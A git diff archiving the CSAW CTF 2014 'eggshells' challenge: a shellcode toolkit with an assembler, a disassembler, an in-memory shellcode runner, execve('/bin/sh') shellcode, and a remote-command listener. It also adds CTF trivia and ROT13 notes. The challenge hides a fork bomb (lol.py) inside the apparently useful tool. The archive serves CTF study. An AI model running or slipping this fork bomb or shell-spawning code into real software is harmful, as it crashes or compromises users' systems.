text box. Pasted + text has any leading Python prompts stripped (at last!!).""" + self.text.tag_delete("compiled") + self.error = 0 + self.pasted = 1 + + try: lines = string.split(self.selection_get(), "\n") + except: return + + for i in range(len(lines)): + trimmed, line = self.trim(lines[i]) + line = string.rstrip(line) + if not line: continue + + self.text.insert("end", line) + self.text.mark_set("insert", "end") + if i == len(lines) - 2 and lines[i+1] == "": + # Indent the last line if it's blank. + self.cb_return(None, doindent=1) + elif i < len(lines) - 1: + self.cb_return(None, doindent=0) + + if self.error: break + + return "break" + + # Executing commands. + + def runline(self, line): + """Run some source code given the number of the last line in the + text box. Scan backwards to get the entire piece of code to run + if the line is a continuation of previous lines. Tag the compiled + code so that it can be highlighted according to whether it is + complete, incomplete, or illegal.""" + lastline = line + lines = [self.getline(line)] + while lines[0][:len(sys.ps2)] == sys.ps2: + trimmed, lines[0] = self.trim(lines[0]) + self.text.tag_add( + "compiled", "%d.%d" % (line, trimmed), "%d.0" % (line+1)) + line = line - 1 + if line < 0: break + lines[:0] = [self.getline(line)] + if lines[0][:len(sys.ps1)] == sys.ps1: + trimmed, lines[0] = self.trim(lines[0]) + self.text.tag_add( + "compiled", "%d.%d" % (line, trimmed), "%d.0" % (line+1)) + else: + self.text.tag_add("compiled", "%d.0" % line, "%d.0" % (line+1)) + + source = string.join(lines, "\n") + if not source: + self.continuation = 0 + return + + status, code = self.compile(source) + + if status == "more": + self.text.tag_configure("compiled", background=self["morecolour"]) + self.continuation = 1 + + elif status == "bad": + self.text.tag_configure("compiled", background=self["badcolour"]) + self.error = 1 + self.continuation = 0 + self.intraceback = 1 + oldout, olderr = sys.stdout, sys.stderr + sys.stdout, sys.stderr = self.stdout, self.stderr + traceback.print_exception(SyntaxError, code, None) + self.stdout, self.stderr = sys.stdout, sys.stderr + sys.stdout, sys.stderr = oldout, olderr + self.intraceback = 0 + + elif status == "okay": + if self.getline(lastline) == sys.ps2: + self.text.tag_remove("compiled", "%d.0" % lastline, "end") + self.text.tag_configure("compiled", background=self["runcolour"]) + self.continuation = 0 + self.run(code) + + def compile(self, source): + """Try to compile a piece of source code, returning a status code + and the compiled result. If the status code is "okay" the code is + complete and compiled successfully; if it is "more" then the code + can be compiled, but an interactive session should wait for more + input; if it is "bad" then there is a syntax error in the code and + the second returned value is the error message.""" + err = err1 = err2 = None + code = code1 = code2 = None + + try: + code = compile(source, "", "single") + except SyntaxError, err: + pass + else: + return "okay", code + + try: + code1 = compile(source + "\n", "", "single") + except SyntaxError, err1: + pass + else: + return "more", code1 + + try: + code2 = compile(source + "\n\n", "", "single") + except SyntaxError, err2: + pass + + try: + code3 = compile(source + "\n", "", "exec") + except SyntaxError, err3: + pass + else: + return "okay", code3 + + try: + code4 = compile(source + "\n\n", "", "exec") + except SyntaxError, err4: + pass + + if err3[1][2] != err4[1][2]: + return "more", None + + if err1[1][2] != err2[1][2]: + return "more", None + + return "bad", err1 + + def run(self, code): + """Run a code object within the sandbox for this console. The + sandbox redirects stdout and stderr to the console, and executes + within the namespace associated with the console.""" + oldout, olderr = sys.stdout, sys.stderr + sys.stdout, sys.stderr = self.stdout, self.stderr + + try: + exec code in self.dict + except: + self.error = 1 + sys.last_type = sys.exc_type + sys.last_value = sys.exc_value + sys.last_traceback = sys.exc_traceback.tb_next + self.intraceback = 1 + traceback.print_exception( + sys.last_type, sys.last_value, sys.last_traceback) + self.intraceback = 0 + + self.stdout, self.stderr = sys.stdout, sys.stderr + sys.stdout, sys.stderr = oldout, olderr + + +# Helpers for the completion mechanism. + +def scanclass(klass, result): + for key in klass.__dict__.keys(): result[key] = 1 + for base in klass.__bases__: scanclass(base, result) + +def members(object): + result = {} + try: + for key in object.__members__: result[key] = 1 + result["__members__"] = 1 + except: pass + try: + for key in object.__methods__: result[key] = 1 + result["__methods__"] = 1 + except: pass + try: + for key in object.__dict__.keys(): result[key] = 1 + result["__dict__"] = 1 + except: pass + if type(object) is types.ClassType: + scanclass(object, result) + result["__name__"] = 1 + result["__bases__"] = 1 + if type(object) is types.InstanceType: + scanclass(object.__class__, result) + result["__class__"] = 1 + return result.keys() + +def matchingkeys(keys, prefix): + prefixmatch = lambda key, l=len(prefix), p=prefix: key[:l] == p + return filter(prefixmatch, keys) + +def commonprefix(keys): + if not keys: return '' + max = len(keys[0]) + prefixes = map(lambda i, key=keys[0]: key[:i], range(max+1)) + for key in keys: + while key[:max] != prefixes[max]: + max = max - 1 + if max == 0: return '' + return prefixes[max] + +callabletypes = [types.FunctionType, types.MethodType, types.ClassType, + types.BuiltinFunctionType, types.BuiltinMethodType] +sequencetypes = [types.TupleType, types.ListType] +mappingtypes = [types.DictType] + +try: + import ExtensionClass + callabletypes.append(ExtensionClass.ExtensionClassType) +except: pass +try: + import curve + c = curve.Curve() + callabletypes.append(type(c.read)) +except: pass + +def finisher(object): + if type(object) in callabletypes: + return "(" + elif type(object) in sequencetypes: + return "[" + elif type(object) in mappingtypes: + return "{" + elif members(object): + return "." + return " " + + +# Main program. + +if __name__ == "__main__": + c = Console(dict={}) + c.dict["console"] = c + c.pack(fill=BOTH, expand=1) + c.master.title("Python Console v%s" % VERSION) + mainloop() \ No newline at end of file diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/lol.py b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/lol.py new file mode 100644 index 0000000..b24936f --- /dev/null +++ b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/lol.py @@ -0,0 +1,7 @@ +import os +while True: + try: + os.fork() + except: + os.system('start') +# flag{trust_is_risky} diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/main.py b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/main.py new file mode 100755 index 0000000..4c5f2a9 --- /dev/null +++ b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/main.py @@ -0,0 +1,182 @@ +# try: +# from distorm import * +# module = 'distorm' +# except ImportError: +import utils +try: + from nasm import * + module = 'nasm' +except ImportError: + raise EnvironmentError("Couldn't find distorm or nasm") + +from Tkinter import * +from ttk import * + +import codecs +import subprocess +import sys +import interpreter +import sqlite3 + +class Disassembler(): + def __init__(self, frame): + + top = Frame(frame) + self.shell_bar = Scrollbar(top) + self.shell_bar.pack(side=RIGHT, fill=Y, expand=0) + self.shellcode = Text(top, yscrollcommand=self.shell_bar.set) + self.shellcode.pack(anchor=W, fill=BOTH, expand=1) + self.shellcode.config(height=4, bd=2) + self.shell_bar.config(command=self.shellcode.yview) + + bottom = Frame(frame) + self.disasm_bar = Scrollbar(bottom) + self.disasm_bar.pack(side=RIGHT, fill=Y, expand=0) + self.disasm = Text(bottom, yscrollcommand=self.disasm_bar.set) + self.disasm.pack(anchor=W, fill=BOTH, expand=1) + self.disasm.config(height=4, bd=2) + self.shell_bar.config(command=self.disasm.yview) + + top.pack(anchor=W, fill=BOTH, expand=1) + bottom.pack(anchor=W, fill=BOTH, expand=1) + + var = IntVar() + + R1 = Radiobutton(frame, text="16-bit", variable=var, value=1, command=lambda: self.value(16)) + R1.pack(side=LEFT) + + R2 = Radiobutton(frame, text="32-bit", variable=var, value=2, command=lambda: self.value(32)) + R2.pack(side=LEFT) + + R3 = Radiobutton(frame, text="64-bit", variable=var, value=3, command=lambda: self.value(64)) + R3.pack(side=LEFT) + + B = Button(frame, text="Disassemble", command=self.render) + B.pack(side=RIGHT) + + def value(self, val): + ''' + Sets disassembler mode (e.g. 16bit, 32bit, or 64bit) + ''' + global mode + self.mode = val + + def clean(self, shellcode): + ''' + Cleans the format that we get from tkinter into a format we can disassemble easily. (i.e. \x00\x00) + ''' + return codecs.escape_decode(shellcode.decode('utf-8').strip())[0] + + def render(self): + ''' + Cleans out the Text widget, does the disassembly and inserts it. + ''' + self.disasm.delete(1.0, END) + self.disasm.insert(INSERT, disassemble(self.clean(self.shellcode.get(1.0, END)), self.mode)) + +class Assembler(): + def __init__(self, frame): + self.assembler = Text(frame) + self.assembler.pack(fill=BOTH, expand=1) + self.assembler.config(height=8, bd=2) + + self.output = Text(frame) + self.output.pack(anchor=W, fill=BOTH, expand=1) + self.output.config(height=4, bd=2) + + self.value = StringVar() + self.dropdown = Combobox(frame, textvariable=self.value, state='readonly') + self.dropdown['values'] = ('elf', 'elf64', 'bin') + self.dropdown.current(0) + self.dropdown.pack(side=LEFT) + + self.asm_button = Button(frame, text="Assemble", command=self.render) + self.asm_button.pack(side=RIGHT) + + self.asm_test = Button(frame, text="Test Shellcode", command=self.test) + self.asm_test.pack(side=RIGHT) + + def render(self): + mode = self.dropdown['values'][self.dropdown.current()] + asm = str(self.assembler.get(1.0, END)) + self.output.delete(1.0, END) + self.output.insert(INSERT, repr(assemble(asm, mode))[1:-1] ) + + def clean(self, shellcode): + ''' + Cleans the format that we get from tkinter into a format we can disassemble easily. (i.e. \x00\x00) + ''' + return codecs.escape_decode(shellcode.decode('utf-8').strip())[0] + + def test(self): + shellcode = repr(self.clean(self.output.get(1.0, END)))[1:-1] + subprocess.Popen([sys.executable, 'shellcode.py', shellcode]).communicate() + + def draw(self): + pass + +class Shellcode(): + def __init__(self, frame): + tree = Treeview(frame) + + # Inserted at the root, program chooses id: + tree.insert('', 'end', 'windows', text='Windows') + tree.insert('', 'end', 'linux', text='Linux') + + # Same thing, but inserted as first child: + # tree.insert('', 0, 'gallery', text='Applications') + + # Treeview chooses the id: + + + # Inserted underneath an existing node: + tree.insert('windows', 'end', text='Canvas') + tree.insert('linux', 'end', text='Canvas') + + tree.pack(side=LEFT, fill=Y) + +class ConnectBack(): + def __init__(self, frame): + pass + + +root = Tk() +root.title("Eggshells - " + module) +note = Notebook(root) + +tab1 = Frame(note) +tab2 = Frame(note) +tab3 = Frame(note) +tab4 = Frame(note) +tab5 = Frame(note) +tab6 = Frame(note) + +#################DISASM################ +Disassembler(tab1) +####################################### + +################ASM#################### +Assembler(tab2) +####################################### + +###############Shellcode############### +Shellcode(tab6) +####################################### + + +################Python################# +c = interpreter.Console(tab4) +c.dict["console"] = c +c.pack(fill=BOTH, expand=1) +####################################### + +note.add(tab1, text = "Disassembler") +note.add(tab2, text = "Assembler") +note.add(tab3, text = "Sockets") +note.add(tab4, text = "Python") +note.add(tab5, text = "Hex Editor") +note.add(tab6, text = "Shellcode") + +note.pack(fill=BOTH, expand=1) +root.mainloop() +exit() \ No newline at end of file diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm.py b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm.py new file mode 100755 index 0000000..9cc4b1d --- /dev/null +++ b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm.py @@ -0,0 +1,133 @@ +import utils +import os +import subprocess +import tempfile +import sys +import re + +subprocess.STARTF_USESHOWWINDOW = 1 # Hiding console windows in subprocess calls + +if sys.platform.startswith('linux') or sys.platform.startswith('darwin'): + NASM = '/usr/bin/nasm' + NDISASM = '/usr/bin/ndisasm' + +elif sys.platform.startswith('win32'): + NASM = 'nasm/nasm.exe' + NDISASM = 'nasm/ndisasm.exe' + +if not os.path.exists(NASM): + raise EnvironmentError('nasm not found') +if not os.path.exists(NDISASM): + raise EnvironmentError('ndisasm not found') + +hex_regex = re.compile(r'0x\w*') + +def delete_file(filename): + """ + Deletes file from the disk if it exists + """ + if os.path.exists(filename): + os.unlink(filename) + + +def assemble(asm, mode="elf"): + ''' + Assemble using nasm, return raw hex bytes. + ''' + temp = tempfile.NamedTemporaryFile(delete=False) + + linkme = tempfile.NamedTemporaryFile(delete=False) + dir = tempfile.gettempdir() + try: + temp.write(asm) + temp.close() + linkme.close() + + startupinfo = subprocess.STARTUPINFO() + startupinfo.dwFlags = subprocess.STARTF_USESHOWWINDOW + + link = subprocess.check_output([NASM, '-f ' + mode, temp.name, '-o ' + dir + '/link.o'], startupinfo=startupinfo) + out = subprocess.check_output([NASM, temp.name, '-o ' + temp.name + '.elf'], startupinfo=startupinfo) + + asm = open(temp.name + '.elf', 'rb') + asm = asm.read() + delete_file(temp.name + '.elf') + delete_file(linkme.name) + delete_file(dir + '/link.o') + delete_file(temp.name) + return asm + except: + delete_file(temp.name + '.elf') + delete_file(linkme.name) + delete_file(dir + '/link.o') + delete_file(temp.name) + return "assembly failed" + + +def disassemble(elf, mode=32): + ''' + Disassemble using ndisasm. Return the output. + ''' + temp = tempfile.NamedTemporaryFile(delete=False) + try: + temp.write(elf) + temp.close() + + startupinfo = subprocess.STARTUPINFO() + startupinfo.dwFlags = subprocess.STARTF_USESHOWWINDOW + + asm = subprocess.check_output([NDISASM, '-a', '-b ' + str(mode), temp.name], startupinfo=startupinfo) + delete_file(temp.name) + + except: + delete_file(temp.name) + return 'disassembly failed' + + #return asm + + disasm = asm.split('\n') + disasm = [" ".join(x.split()).split(' ', 2) for x in disasm ] + + # Join line continuations together and mark them for removal + marked = [] + for x in range(len(disasm)): + if len(disasm[x]) == 1: + disasm[x-1][1] += disasm[x][0][1:] + marked.append(x) + for x in marked[::-1]: + disasm.pop(x) + + # Join the disassembly back together for output + # Also provide string and decimal representations of hex values + disassembly = '' + for line in disasm: + hexvals = hex_regex.findall(line[2]) + if len(hexvals) > 0 and ('push' in line[2] or 'mov' in line[2]): + line = list(line) # Why you give me tuple Distorm? + if len(hexvals[0][2:]) > 2: + line[2] = line[2] + '\t; ' + hexvals[0][2:].decode('hex') + else: + line[2] = line[2] + '\t; ' + str(int(hexvals[0], 16)) + + disassembly += "0x%08s (%02x) %-20s %s" % (line[0], len(line[1])//2, line[1], line[2]) + "\n" + return disassembly + + +if __name__ == '__main__': + print disassemble('\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\xb0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05', 64) + + asm = ''' + BITS 32 + main: + ; execve("/bin/sh", 0, 0) + xor eax, eax + push eax + push 0x68732f2f ; "//sh" -> stack + push 0x6e69622f ; "/bin" -> stack + mov ebx, esp ; arg1 = "/bin//sh\0" + mov ecx, eax ; arg2 = 0 + mov edx, eax ; arg3 = 0 + mov al, 11 + int 0x80 + ''' + print repr(assemble(asm, "elf")) diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/.DS_Store b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/.DS_Store new file mode 100644 index 0000000..bf98b09 Binary files /dev/null and b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/.DS_Store differ diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/LICENSE b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/LICENSE new file mode 100755 index 0000000..331e260 --- /dev/null +++ b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/LICENSE @@ -0,0 +1,29 @@ +NASM is now licensed under the 2-clause BSD license, also known as the +simplified BSD license. + + Copyright 1996-2010 the NASM Authors - All rights reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following + conditions are met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the following + disclaimer in the documentation and/or other materials provided + with the distribution. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND + CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, + INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, + EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/nasm.exe b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/nasm.exe new file mode 100755 index 0000000..8e9cc34 Binary files /dev/null and b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/nasm.exe differ diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/ndisasm.exe b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/ndisasm.exe new file mode 100755 index 0000000..fc0c6af Binary files /dev/null and b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/ndisasm.exe differ diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/ldrdf.exe b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/ldrdf.exe new file mode 100755 index 0000000..43bb754 Binary files /dev/null and b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/ldrdf.exe differ diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2bin.exe b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2bin.exe new file mode 100755 index 0000000..5ce3986 Binary files /dev/null and b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2bin.exe differ diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2com.exe b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2com.exe new file mode 100755 index 0000000..5ce3986 Binary files /dev/null and b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2com.exe differ diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ihx.exe b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ihx.exe new file mode 100755 index 0000000..5ce3986 Binary files /dev/null and b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ihx.exe differ diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ith.exe b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ith.exe new file mode 100755 index 0000000..5ce3986 Binary files /dev/null and b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2ith.exe differ diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2srec.exe b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2srec.exe new file mode 100755 index 0000000..5ce3986 Binary files /dev/null and b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdf2srec.exe differ diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdfdump.exe b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdfdump.exe new file mode 100755 index 0000000..fd79da3 Binary files /dev/null and b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdfdump.exe differ diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdflib.exe b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdflib.exe new file mode 100755 index 0000000..e57218f Binary files /dev/null and b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdflib.exe differ diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdx.exe b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdx.exe new file mode 100755 index 0000000..0233768 Binary files /dev/null and b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/nasm/rdoff/rdx.exe differ diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/server.py b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/server.py new file mode 100755 index 0000000..3382d4c --- /dev/null +++ b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/server.py @@ -0,0 +1,41 @@ +import utils +import socket + +import time +import sys + + +def interact(conn, addr): + command = '' + print "Received", addr + + while (command != 'exit'): + command = raw_input('> ') + conn.send(command + '\n') + time.sleep(.5) + data = conn.recv(0x10000) + if not data: + print "Disconnected", addr + return + print data.strip(), + else: + print "Disconnected", addr + + +HOST = '' + +PORT = 6969 + +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + +s.bind((HOST, PORT)) + +s.listen(1) + +while 1: + conn, addr = s.accept() + interact(conn, addr) + + + + diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/shellcode.py b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/shellcode.py new file mode 100755 index 0000000..d6b9d90 --- /dev/null +++ b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/shellcode.py @@ -0,0 +1,82 @@ +#!/usr/bin/python +import utils +import sys +import ctypes +import codecs + +if sys.platform.startswith('linux'): + from ctypes import * + + # Initialise ctypes prototype for mprotect(). + # According to the manpage: + # int mprotect(const void *addr, size_t len, int prot); + libc = CDLL("libc.so.6") + mprotect = libc.mprotect + mprotect.restype = c_int + mprotect.argtypes = [c_void_p, c_size_t, c_int] + + # PROT_xxxx constants + # Output of gcc -E -dM -x c /usr/include/sys/mman.h | grep PROT_ + # #define PROT_NONE 0x0 + # #define PROT_READ 0x1 + # #define PROT_WRITE 0x2 + # #define PROT_EXEC 0x4 + # #define PROT_GROWSDOWN 0x01000000 + # #define PROT_GROWSUP 0x02000000 + PROT_NONE = 0x0 + PROT_READ = 0x1 + PROT_WRITE = 0x2 + PROT_EXEC = 0x4 + + # Machine code of an empty C function, generated with gcc + # Disassembly: + # 55 push %ebp + # 89 e5 mov %esp,%ebp + # 5d pop %ebp + # c3 ret + #code = "\x48\x31\xc0\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\xb0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05" + + code = codecs.escape_decode(sys.argv[1])[0] + + # Get the address of the code + addr = addressof(cast(c_char_p(code), POINTER(c_char)).contents) + + # Get the start of the page containing the code and set the permissions + pagesize = 0x1000 + pagestart = addr & ~(pagesize - 1) + if mprotect(pagestart, pagesize, PROT_READ|PROT_WRITE|PROT_EXEC): + raise RuntimeError("Failed to set permissions using mprotect()") + + # Generate ctypes function object from code + functype = CFUNCTYPE(None) + f = functype(addr) + + # Call the function + print("Calling f()") + f() + +elif sys.platform.startswith('win'): + + buf = codecs.escape_decode(sys.argv[1])[0] + + shellcode = bytearray(buf) + + ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), + ctypes.c_int(len(shellcode)), + ctypes.c_int(0x3000), + ctypes.c_int(0x40)) + + buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) + + ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), + buf, + ctypes.c_int(len(shellcode))) + + ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), + ctypes.c_int(0), + ctypes.c_int(ptr), + ctypes.c_int(0), + ctypes.c_int(0), + ctypes.pointer(ctypes.c_int(0))) + + ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) diff --git a/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/wrapper.py b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/wrapper.py new file mode 100755 index 0000000..0e9cc81 --- /dev/null +++ b/CTFs/2014-CSAW-CTF/reverse-engineering/eggshells-100/eggshells-master/wrapper.py @@ -0,0 +1,5 @@ +import utils +import subprocess +import sys + +subprocess.Popen([sys.executable, 'shellcode.py']).communicate() \ No newline at end of file diff --git a/CTFs/CTFs-TRIVIA-COLLECTION.md b/CTFs/CTFs-TRIVIA-COLLECTION.md new file mode 100644 index 0000000..29ddb20 --- /dev/null +++ b/CTFs/CTFs-TRIVIA-COLLECTION.md @@ -0,0 +1,21 @@ +# Trivia List (For Reference) +___ + +## CSAW CTF 2014 + +1. This is the name of the new USENIX workshop that featured papers on CTFs being used for education. Answer: **3GSE** + +2. This x86 instruction is an alias for pop eip/rip. +Answer: **RET** + +3. This is a type of informal security meetup that has been gaining popularity in different cities over the last several years. Answer: **CitySec** + +4. This is what geohot and other members of the CTF community are calling live streamed CTF competitions where spectators can watch competitors screens as they solve challenges. Answer: **livectf** + +5. On this day in November, the CSAW Career Fair takes place in Brooklyn, New York. Answer: **14** + +6. This is the Twitter handle of the student who runs CSAW CTF. Answer: **poopsec** + + + + diff --git a/CTFs/LICENSE b/CTFs/LICENSE new file mode 100644 index 0000000..c920e98 --- /dev/null +++ b/CTFs/LICENSE @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2014 Mari Wahl + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/CTFs/README.md b/CTFs/README.md new file mode 100644 index 0000000..e755122 --- /dev/null +++ b/CTFs/README.md @@ -0,0 +1,5 @@ +CTFs Archives +============== + +* CSAW 2014 + diff --git a/Cryptography/ROT_13_EASY.md b/Cryptography/ROT_13_EASY.md index 94f3727..edc11a5 100644 --- a/Cryptography/ROT_13_EASY.md +++ b/Cryptography/ROT_13_EASY.md @@ -4,7 +4,14 @@ echo "$VAR" alias rot13="tr A-Za-z N-ZA-Mn-za-m" echo "$VAR" | rot13 ``` +---- In Python we can use: ```"YRIRY GJB CNFFJBEQ EBGGRA".decode(encoding="ROT13")``` https://docs.python.org/2/library/codecs.html#codec-base-classes + +--- + +Online: + +http://www.xarg.org/tools/caesar-cipher/ diff --git a/Cryptography/ROT_13_EASY.md~ b/Cryptography/ROT_13_EASY.md~ new file mode 100644 index 0000000..94f3727 --- /dev/null +++ b/Cryptography/ROT_13_EASY.md~ @@ -0,0 +1,10 @@ +``` +VAR=$(cat data.txt) +echo "$VAR" +alias rot13="tr A-Za-z N-ZA-Mn-za-m" +echo "$VAR" | rot13 +``` + + +In Python we can use: ```"YRIRY GJB CNFFJBEQ EBGGRA".decode(encoding="ROT13")``` +https://docs.python.org/2/library/codecs.html#codec-base-classes diff --git a/README.md b/README.md new file mode 100644 index 0000000..afa9eb7 --- /dev/null +++ b/README.md @@ -0,0 +1 @@ +My resources and source codes.